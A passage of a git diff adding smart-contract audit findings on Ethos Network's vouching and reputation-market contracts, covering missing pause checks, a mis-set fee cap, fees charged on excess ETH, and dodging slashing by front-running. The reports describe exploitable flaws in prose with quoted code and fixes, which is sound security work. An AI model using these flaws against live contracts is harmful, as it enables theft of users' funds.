441.md create mode 100644 442.md create mode 100644 443.md create mode 100644 444.md create mode 100644 445.md create mode 100644 446.md create mode 100644 447.md create mode 100644 448.md create mode 100644 449.md create mode 100644 450.md create mode 100644 451.md create mode 100644 452.md create mode 100644 453.md create mode 100644 454.md create mode 100644 455.md create mode 100644 456.md create mode 100644 457.md create mode 100644 458.md create mode 100644 459.md create mode 100644 460.md create mode 100644 461.md create mode 100644 462.md create mode 100644 463.md create mode 100644 464.md create mode 100644 465.md create mode 100644 466.md create mode 100644 467.md create mode 100644 468.md create mode 100644 469.md create mode 100644 470.md create mode 100644 471.md create mode 100644 472.md create mode 100644 473.md create mode 100644 474.md create mode 100644 475.md create mode 100644 476.md create mode 100644 477.md create mode 100644 478.md create mode 100644 479.md create mode 100644 480.md create mode 100644 481.md create mode 100644 482.md create mode 100644 483.md create mode 100644 484.md create mode 100644 485.md create mode 100644 486.md create mode 100644 487.md create mode 100644 488.md create mode 100644 489.md create mode 100644 490.md create mode 100644 491.md create mode 100644 492.md create mode 100644 493.md create mode 100644 494.md create mode 100644 495.md create mode 100644 496.md create mode 100644 497.md create mode 100644 498.md create mode 100644 499.md create mode 100644 500.md create mode 100644 501.md create mode 100644 502.md create mode 100644 503.md create mode 100644 504.md create mode 100644 505.md create mode 100644 506.md create mode 100644 507.md create mode 100644 508.md create mode 100644 509.md create mode 100644 510.md create mode 100644 511.md create mode 100644 512.md create mode 100644 513.md create mode 100644 514.md create mode 100644 515.md create mode 100644 516.md create mode 100644 517.md create mode 100644 518.md create mode 100644 519.md create mode 100644 520.md create mode 100644 521.md create mode 100644 522.md create mode 100644 523.md create mode 100644 524.md create mode 100644 525.md create mode 100644 526.md create mode 100644 527.md create mode 100644 528.md create mode 100644 529.md create mode 100644 530.md create mode 100644 531.md create mode 100644 532.md create mode 100644 533.md create mode 100644 534.md create mode 100644 535.md create mode 100644 536.md create mode 100644 537.md create mode 100644 538.md create mode 100644 539.md create mode 100644 540.md create mode 100644 541.md create mode 100644 542.md create mode 100644 543.md create mode 100644 544.md create mode 100644 545.md create mode 100644 546.md create mode 100644 547.md create mode 100644 548.md create mode 100644 549.md create mode 100644 550.md create mode 100644 551.md create mode 100644 552.md create mode 100644 553.md create mode 100644 554.md create mode 100644 555.md create mode 100644 556.md create mode 100644 557.md create mode 100644 558.md create mode 100644 559.md create mode 100644 560.md create mode 100644 561.md create mode 100644 562.md create mode 100644 563.md create mode 100644 564.md create mode 100644 565.md create mode 100644 566.md create mode 100644 567.md create mode 100644 568.md create mode 100644 569.md create mode 100644 570.md create mode 100644 571.md create mode 100644 572.md create mode 100644 573.md create mode 100644 574.md create mode 100644 575.md create mode 100644 576.md create mode 100644 577.md create mode 100644 578.md create mode 100644 579.md create mode 100644 580.md create mode 100644 581.md create mode 100644 582.md create mode 100644 583.md create mode 100644 584.md create mode 100644 585.md create mode 100644 586.md create mode 100644 587.md create mode 100644 588.md create mode 100644 589.md create mode 100644 590.md create mode 100644 591.md create mode 100644 592.md create mode 100644 593.md create mode 100644 594.md create mode 100644 595.md create mode 100644 596.md create mode 100644 597.md create mode 100644 598.md create mode 100644 599.md create mode 100644 600.md create mode 100644 601.md create mode 100644 602.md create mode 100644 603.md create mode 100644 604.md create mode 100644 605.md create mode 100644 606.md create mode 100644 607.md create mode 100644 608.md create mode 100644 609.md create mode 100644 610.md create mode 100644 611.md create mode 100644 612.md create mode 100644 613.md create mode 100644 614.md create mode 100644 615.md create mode 100644 616.md create mode 100644 617.md create mode 100644 618.md create mode 100644 619.md create mode 100644 620.md create mode 100644 621.md create mode 100644 622.md create mode 100644 623.md create mode 100644 624.md create mode 100644 625.md create mode 100644 626.md create mode 100644 627.md create mode 100644 628.md create mode 100644 629.md create mode 100644 630.md create mode 100644 631.md create mode 100644 632.md create mode 100644 633.md create mode 100644 634.md create mode 100644 635.md create mode 100644 636.md create mode 100644 637.md create mode 100644 638.md create mode 100644 639.md create mode 100644 640.md create mode 100644 641.md create mode 100644 642.md create mode 100644 643.md create mode 100644 644.md create mode 100644 645.md create mode 100644 646.md create mode 100644 647.md create mode 100644 648.md create mode 100644 649.md create mode 100644 650.md create mode 100644 651.md create mode 100644 652.md create mode 100644 653.md create mode 100644 654.md create mode 100644 655.md create mode 100644 656.md create mode 100644 657.md create mode 100644 658.md create mode 100644 659.md create mode 100644 660.md create mode 100644 661.md create mode 100644 662.md create mode 100644 663.md create mode 100644 664.md create mode 100644 665.md create mode 100644 666.md create mode 100644 667.md create mode 100644 668.md create mode 100644 669.md create mode 100644 670.md create mode 100644 671.md create mode 100644 672.md create mode 100644 673.md create mode 100644 674.md create mode 100644 675.md create mode 100644 676.md create mode 100644 677.md create mode 100644 678.md create mode 100644 679.md create mode 100644 680.md create mode 100644 681.md create mode 100644 682.md create mode 100644 683.md create mode 100644 684.md create mode 100644 685.md create mode 100644 686.md create mode 100644 687.md create mode 100644 688.md create mode 100644 689.md create mode 100644 690.md create mode 100644 691.md create mode 100644 692.md create mode 100644 693.md create mode 100644 694.md create mode 100644 695.md create mode 100644 696.md create mode 100644 697.md create mode 100644 698.md create mode 100644 699.md create mode 100644 700.md create mode 100644 701.md create mode 100644 702.md create mode 100644 703.md create mode 100644 704.md create mode 100644 705.md create mode 100644 706.md create mode 100644 707.md create mode 100644 708.md create mode 100644 709.md create mode 100644 710.md create mode 100644 711.md create mode 100644 712.md create mode 100644 713.md create mode 100644 714.md create mode 100644 715.md create mode 100644 716.md create mode 100644 717.md create mode 100644 718.md create mode 100644 719.md create mode 100644 720.md create mode 100644 721.md create mode 100644 722.md create mode 100644 723.md create mode 100644 724.md create mode 100644 725.md create mode 100644 726.md create mode 100644 727.md create mode 100644 728.md create mode 100644 729.md create mode 100644 730.md create mode 100644 731.md create mode 100644 732.md create mode 100644 733.md create mode 100644 invalid/.gitkeep create mode 100644 invalid/387.md diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 3fbffbb..0000000 --- a/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -* -!*/ -!/.data -!/.github -!/.gitignore -!/README.md -!/comments.csv -!*.md -!**/*.md -!/Audit_Report.pdf diff --git a/001.md b/001.md new file mode 100644 index 0000000..b30266f --- /dev/null +++ b/001.md @@ -0,0 +1,86 @@ +Colossal Chiffon Urchin + +Medium + +# authorProfileId can avoid being slashed + +### Summary + +there is not lock lock on lock on staking (and withdrawals) for the accused authorProfileId + +### Root Cause + +According to [docs](https://whitepaper.ethos.network/ethos-mechanisms/slash) their should be lock +> Any Ethos participant may act as a "whistleblower" to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused. +Currently anyone can unvouch at any time +```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +[contracts/contracts/EthosVouch.sol#L452](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Accused profile sees that a lot of complains going against him and unvouch all vouched funds before slashing + +### Impact + +authorProfileId can avoid being slashed + +### PoC + +_No response_ + +### Mitigation + +```diff + ++ function pauseActions(uint authorProfileId) external onlyOwner{ ++ ... ++ } + + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { ++ uint256 authorProfileId = IEthosProfile( ++ contractAddressManager.getContractAddressForName(ETHOS_PROFILE) ++ ).verifiedProfileIdForAddress(msg.sender); ++ require(!isActionsPaused(authorProfileId), "actions paused") + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + +``` \ No newline at end of file diff --git a/002.md b/002.md new file mode 100644 index 0000000..608cd9c --- /dev/null +++ b/002.md @@ -0,0 +1,42 @@ +Tricky Sage Stallion + +Medium + +# Users can increase vouch when EthosVouch is paused + +### Summary + +The [`EthosVouch::increaseVouch()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) lacks the `whenNotPaused` modifier. This allows users to increase for an existing vouch even when the contract is paused. + + + +### Root Cause + +The [`EthosVouch::increaseVouch()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) lacks the `whenNotPaused` modifier. + +When the `EthosVouch` contract is paused, no other user-access functions can be executed. + +### Internal pre-conditions + +- The `EthosVouch` contract is in a paused state. +- A user has vouched for an address. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This issue allows unauthorized vouching during a paused state. + +### PoC + +_No response_ + +### Mitigation + +Add the `whenNotPaused` modifier to the `increaseVouch()` function. \ No newline at end of file diff --git a/003.md b/003.md new file mode 100644 index 0000000..9292b57 --- /dev/null +++ b/003.md @@ -0,0 +1,78 @@ +Colossal Chiffon Urchin + +Medium + +# slashing will be happening without gracing period + +### Summary + +Actors will be able to constantly empty someone's account in a short time + +### Root Cause + +According [to docs](https://whitepaper.ethos.network/ethos-mechanisms/slash) their should be a grace period between slashing, there is none, right now +> Upon being slashed the accused has a 72h grace period before they may be slashed again. +```solidity + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } + +``` +[contracts/contracts/EthosVouch.sol#L520](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Seems like their will be permissionless accusing of account, so someone's account could be emptied in a short time + +### Impact + +Someone's account can be slashed multiple times in a short time + +### PoC + +_No response_ + +### Mitigation + +tracked slashed time, implement grace period \ No newline at end of file diff --git a/004.md b/004.md new file mode 100644 index 0000000..d6401a1 --- /dev/null +++ b/004.md @@ -0,0 +1,42 @@ +Tricky Sage Stallion + +Medium + +# Voucher can avoid slashing penalties by front-running with `unvouch()` + +### Summary + +The [`EthosVouch::slash()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520) slashes up to 10% of all vouch balances for a given voucher. However, the voucher can front-run the slashing transaction by calling [`unvouch()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) and paying the exit fee. If the exit fee is significantly lower than the penalties, the voucher can minimize or avoid most of the losses. + + +### Root Cause + +The current implementation of `slash()` does not account for the possibility of a voucher executing an `unvouch()` transaction immediately before the slashing is finalized. + + +### Internal pre-conditions + +- The `slash()` function is called to penalize a voucher. +- The voucher has sufficient time to detect the slashing transaction and front-run it by calling `unvouch()`. + + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Allowing malicious vouchers to avoid penalties. + +### PoC + +_No response_ + +### Mitigation + +One possible option could be implementing an unvouch queue, unvouch requests can still be slashed. + diff --git a/005.md b/005.md new file mode 100644 index 0000000..bb3f243 --- /dev/null +++ b/005.md @@ -0,0 +1,89 @@ +Colossal Chiffon Urchin + +Medium + +# User can vouch for an archived profile + +### Summary +increaseVouch allows to increase power of archived account. +### Root Cause +According to docs in code +> - Author cannot vouch for an archived profile + +[EthosVouch.sol#L32](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L32) + +inside `vouchByProfileId` there is a check that subject's profile is not archived, but there is none in increaseVouch, which allows to first create vouch-> archive account->increase account's power in archived state, which violates invariant in the beginning of contract +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { +... + (bool verified, bool archived, bool mock) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusById(subjectProfileId); + + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } +... + } +``` +[contracts/EthosVouch.sol#L330](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330) +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Archived account's power can be increased which breaks protocol's invariant +### PoC + +_No response_ + +### Mitigation +Send it to the subject reward escrow like its done with dust at the end of the function +```diff + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } ++ (bool verified, bool archived, bool mock) = IEthosProfile( ++ contractAddressManager.getContractAddressForName(ETHOS_PROFILE) ++ ).profileStatusById(vouches[vouchId].subjectProfileId); ++ ++ // you may not vouch for archived profiles ++ // however, you may vouch for verified AND mock profiles ++ // we allow vouching for mock profiles in case they are later verified ++ if (archived || (!mock && !verified)) { ++ revert InvalidEthosProfileForVouch(vouches[vouchId].subjectProfileId); ++ } + + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` \ No newline at end of file diff --git a/006.md b/006.md new file mode 100644 index 0000000..413f97f --- /dev/null +++ b/006.md @@ -0,0 +1,53 @@ +Shambolic Cotton Pangolin + +High + +# `buyVotes` function will overcharge users with fee + +### Summary + +The `buyVotes` function will charge fee based on the msg.value instead of the amount used for purchasing the vote. As a result it will always overcharge users. + +### Root Cause + +`buyVotes` function we see that the msg.value is passed in `_calculateBuy`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L459 +After that he we can see that the protocol fee is taken proportionally from the amount here: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1146 +However this amount will be the msg.value, which will always have an unused prortion. +As a result the fee will also be applied to the unused amount. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + + Consider the following scenario(protocolFee=donationFee=5%; 10% in total): +1. A user supplies 1e18 eth as msg.value in the transaction. +2. The vote cost is 0.5e18 eth. And the user will tolerate slippage as long as they receive one vote. +3. With the current implementation the fee will be 0.1e18(10% of 1e18) +4. The user will be able to buy only one vote and will be refunded: +1e18-0.5e18(vote cost)-0.1e18(for the fees) = 0.4e18 =>total spent will be 0.6e18 +However in this case the fee was taken from the msg.value +Now lets see what would have happened if the user supplied the exact amount - 0.6e18 with the same vote cost + - The fee will be 10% of 0.6e18 = 0.06e18 + - the vote cost will be the same for the example - 0.5e18 + Now however the user will be refunded 0.6e18 - 0.06e18(total fees)-0.5e18(vote cost) = 0.04e18 refund amount => totalSpent = 0.56e18. +We can see that if the user supplies more msg.value for the same amount of votes they will be charged more fee + +### Impact + +The `buyVotes` function will always overcharge fees - High + +### PoC + +N/A + +### Mitigation + +The fee should be calculated based on the amount used for buying the votes, not the amount provided. \ No newline at end of file diff --git a/007.md b/007.md new file mode 100644 index 0000000..a7f220e --- /dev/null +++ b/007.md @@ -0,0 +1,82 @@ +Magic Basil Caterpillar + +Medium + +# Maximum total fees may exceed 10% + +### Summary + +setting MAX_TOTAL_FEES = 10000 causes Maximum total fees to exceed 10%. +setEntryProtocolFeeBasisPoints,setEntryDonationFeeBasisPoints,setEntryVouchersPoolFeeBasisPoints,setExitFeeBasisPoints +functions internally calls checkFeeExceedsMaximum function to ensure the total fees doesn't exceed MAX_TOTAL_FEES. +checkFeeExceedsMaximum function make sure that sum of all fees(after updating), (entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints) to be <=MAX_TOTAL_FEES(10000). +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004 +1)At the time of vouching we collect protocolFee,donationFee,vouchersPoolFee +In EthosVouch::vouchByProfileId function, +`(uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId);` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L384 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 +which collects vouchingfees= msg.value *( entryProtocolFeeBasisPoints / (10000 + entryProtocolFeeBasisPoints) + entryDonationFeeBasisPoints/ (10000 + entryDonationFeeBasisPoints)+ entryVouchersPoolFeeBasisPoints / (10000 + entryVouchersPoolFeeBasisPoints)) +2)At the time of unvouching we collect exitFee +In EthosVouch::unvouch function, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L470 +unvouchingfees= amount * exitFeeBasisPoints/(10000+exitFeeBasisPoints) +Example calculations, +let's take entryProtocolFeeBasisPoints=2000,entryDonationFeeBasisPoints=2000,entryVouchersPoolFeeBasisPoints=2000, exitFeeBasisPoints=2000 +checkFeeExceedsMaximum function not reverts because (entryProtocolFeeBasisPoints+entryDonationFeeBasisPoints+entryVouchersPoolFeeBasisPoints+exitFeeBasisPoints)<(MAX_TOTAL_FEES = 10000),(8000<10000) +Then fees collected at the time of vouching, +vouchingFees=3*amount*2000/12000 +vouchingFees=amount/2 +vouch.balance=amount/2 +unvouchingFees=balance * 2000/12000 +unvochingFees = amount/12 +so, TotalFee collected = vouchingFees+unvouchingFees +TotalFee=amount*7/12 +percentage of fee = TotalFee*100/amount= 58.33%>10%(Maximum total fees cannot exceed 10%). + + + + +### Root Cause + +setting MAX_TOTAL_FEES = 10000; +we can't even change it after deployment as it is a constant.(unless contract upgrade) +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +Admin needs to set entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints exitFeeBasisPoints values such that entryProtocolFeeBasisPoints+entryDonationFeeBasisPoints+entryVouchersPoolFeeBasisPoints+exitFeeBasisPoints>1000. +which is pretty much possible as MAX_TOTAL_FEES = 10000. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Maximum total fees may exceed 10%, even go up to 60-70%(Users loss funds). +But In contests readme it is clearly mentioned that , +Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +For both contracts: +Maximum total fees cannot exceed 10%. + + + + + +### PoC + +_No response_ + +### Mitigation + +change maxTotalFees to 1000 instead of 10000. +uint256 public constant MAX_TOTAL_FEES = 10000; \ No newline at end of file diff --git a/008.md b/008.md new file mode 100644 index 0000000..67d181f --- /dev/null +++ b/008.md @@ -0,0 +1,46 @@ +Shambolic Cotton Pangolin + +High + +# `withdrawGraduatedMarketFunds` will try to send more eth than there actually is + +### Summary + +In the `sellVotes` function the marketFunds will be updated incorrectly leading to the protocol assuming there are more funds than there actually are. + +### Root Cause + +When we check the `sellVotes` function we see that it performs the following storage update: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 +However only the funds received by the seller are subtracted from the `marketFunds` while in fact the actual amount that is being withdraw is fundsReceived+protocolFee. +As a result it will make the protocol assume that his protocolFee is still in the marketFunds, and will try to pull it here in the `withdrawGraduatedMarketFunds` function: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +It will happen everytime the `sellVotes` function is executed. + +### Impact + +Potential DOS as at some point the contract will not have enough assets to call `withdrawGraduatedMarketFunds` +Also more assets will be sent anytime `withdrawGraduatedMarketFunds` funds is called including the fee. - High + +### PoC + +N/A + +### Mitigation + +In the sellVotes function calculate the marketFunds as follows: +```solidity +marketFunds[profileId] -= fundsReceived + protocolFee; +``` diff --git a/009.md b/009.md new file mode 100644 index 0000000..0a719f7 --- /dev/null +++ b/009.md @@ -0,0 +1,27 @@ +Overt Alabaster Cottonmouth + +Medium + +# Validation of time window allowed to call `markUnhealthy()` forgets to account for any paused duration + +## Description & Impact +After calling `unvouch()`, author can call [markUnhealthy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496) within a time window of `unhealthyResponsePeriod` or 24 hours which is verified via an [internal call](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L503) to function [_vouchShouldBePossibleUnhealthy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L857-L858). Consider this: +- User calls `unvouch()` at 10 AM on Day1. They have the liberty to call `markUnhealthy()` until 10 AM on Day2. +- Due to some circumstances protocol is paused at 10:05 AM and it takes 24 hours to resolve the issue and set it back to unpaused state. +- **Impact:** User lost the ability to call `markUnhealthy()` now as the paused time-period was not taken into account by the code logic when calculating `stillHasTime` [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L857-L858): +```js + File: ethos/packages/contracts/contracts/EthosVouch.sol + + 855: function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + 856: Vouch storage v = vouches[vouchId]; + 857:@---> bool stillHasTime = block.timestamp <= + 858:@---> v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; + 859: + 860: if (!v.archived || v.unhealthy || !stillHasTime) { + 861: revert CannotMarkVouchAsUnhealthy(vouchId); + 862: } + 863: } +``` + +## Mitigation +The protocol would have to store the timestamps of the start & end of pause states. This is to ensure that even if there are **_multiple_** pauses & unpauses the correct cumulative paused time can be added as a grace period while calculating `stillHasTime`. \ No newline at end of file diff --git a/010.md b/010.md new file mode 100644 index 0000000..c0a4797 --- /dev/null +++ b/010.md @@ -0,0 +1,44 @@ +Low Cloth Rabbit + +Medium + +# [M-2] Wrong `MAX_TOTAL_FEES` allows total fees to be set up to 100% instead of the expected 10% + +### Summary + +According to the contest's ReadMe under the section **Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?**, the dev team said **Maximum total fees cannot exceed 10%**. + +Since fees are expressed in basis points, where `10_000` == 100%, the expected `MAX_TOTAL_FEES` should be `1_000`, but the code sets `uint256 public constant MAX_TOTAL_FEES = 10000;`. This allows the admin to bypass the expected 10% limit on max fees unintentionally. + +For reference, the contest's ReadMe also says that **Maximum total slash cannot exceed 10%**, and the variable `uint256 public constant MAX_SLASH_PERCENTAGE = 1000;` is set to 1_000. This further enforces the fact that `MAX_TOTAL_FEES` should also be 1_000. + +### Root Cause + +The constant variable `uint256 public constant MAX_TOTAL_FEES = 10000;` is declared as [10_000 instead of 1_000](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120). The fees can be set to 100%. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +Admin calls `checkFeeExceedsMaximum` function trying to increase the fees, expecting that if fees are > 10% or 1_000 basis points the call will revert. Since fees can be set up to 100%, this function will only revert if fees go beyond 100%, breaking a core invariant of the protocol. + +### Impact + +Loss of funds for users, fees can be more than the expected 10%. + +### PoC + +Not needed. + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/011.md b/011.md new file mode 100644 index 0000000..7736bb0 --- /dev/null +++ b/011.md @@ -0,0 +1,51 @@ +Tricky Sage Stallion + +Medium + +# `isParticipant()` returns incorrect `true` for users who sold all their votes + +### Summary + +The [`sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) function does not update the `isParticipant` mapping after a participant sells all their votes. Consequently, the `isParticipant()` function incorrectly returns `true` for users who have exited the reputation market, leading to inaccurate participant tracking. + +### Root Cause + +The `isParticipant` mapping is used to determine if a user is an active participant in the reputation market. The [`ReputationMarket#L120`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L120) states "Use isParticipant to check if they've sold all their votes". + +```solidity + // append only; don't bother removing. **Use isParticipant to check if they've sold all their votes.** + mapping(uint256 => address[]) public participants; + // profileId => participant => isParticipant + mapping(uint256 => mapping(address => bool)) public isParticipant; +``` + +However, since [`sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) does not update this mapping when a participant sells all their votes, users remain marked as participants even after exiting the market. + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This leads to incorrect participant tracking, causing logical inconsistencies about participant activity. + + + +### PoC + +_No response_ + +### Mitigation + +Update the `isParticipant` mapping in the `sellVotes()` function to set the participant's status to `false` if they sell all their votes. + diff --git a/012.md b/012.md new file mode 100644 index 0000000..ec02290 --- /dev/null +++ b/012.md @@ -0,0 +1,56 @@ +Recumbent Shamrock Barracuda + +High + +# Fee calculation vulnerability will overcharge users during vote purchases + +## **Summary** +The `_calculateBuy` function calculates fees (`protocolFee` and `donation`) using `msg.value` instead of the actual funds utilized for the purchase (`fundsPaid`). This results in users being overcharged if `msg.value` exceeds the amount needed to purchase the intended vote, and users who provide more ETH than needed to make the purchase lose more. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L960 + +## **Root Cause** +The root cause lies in the misalignment between the fee calculation basis and the actual funds used: +- **Fee Basis Mismatch**: Fees are derived from `msg.value` (total ETH sent) rather than `fundsPaid` (ETH actually spent for votes). +- **Implementation Error**: The call to `previewFees` uses `funds` (mapped to `msg.value`) without adjusting for the actual paid funds. + +## **Impact** + - **Overpayment**: Users providing excess ETH are charged disproportionately high fees, leading to financial inefficiency and user dissatisfaction. + +## **Proof of Concept (PoC)** + +1. **Setup** + - Assume UserA with `msg.value = 10 ETH`, UserB with `msg.value = 9 ETH` + - Number of votes to buy = 5 votes. + - `fundsPaid` required for 5 votes = 8 ETH.(Assume that the number of votes that UserA and UserB can buy with the funds they pays is at most 5. In other words, since buying 6 votes requires 11 ETH, users can only buy 5 votes.) + - Fee rate = 10%. + +2. **Execution** + - Fees are calculated on `msg.value`: + UserA: `protocolFee = 1 ETH` + UserB: `protocolFee = 0.9 ETH` + - Actual funds used (`fundsPaid`) for votes: + `fundsPaid = 8 ETH` (UserA and UserB are the same.) + - Total paid: + UserA: `totalPaid = 9 ETH`, `overPaid = 9 - 8 - 8 * 0.1 = 0.2 ETH` + UserB: `totalPaid = 8.9 ETH`, `overPaid = 8.9 - 8 - 8 * 0.1 = 0.1 ETH` + + +3. **Observed Behavior** + - UserA and UserB spent more than necessary. + - UserA and UserB bought the same number of votes, but UserA paid more than UserB. + +## **Mitigation** + +To address the identified issue in `_calculateBuy`, the fee calculation logic should be corrected to ensure that fees are proportional to the actual funds spent on purchasing votes. Here’s the 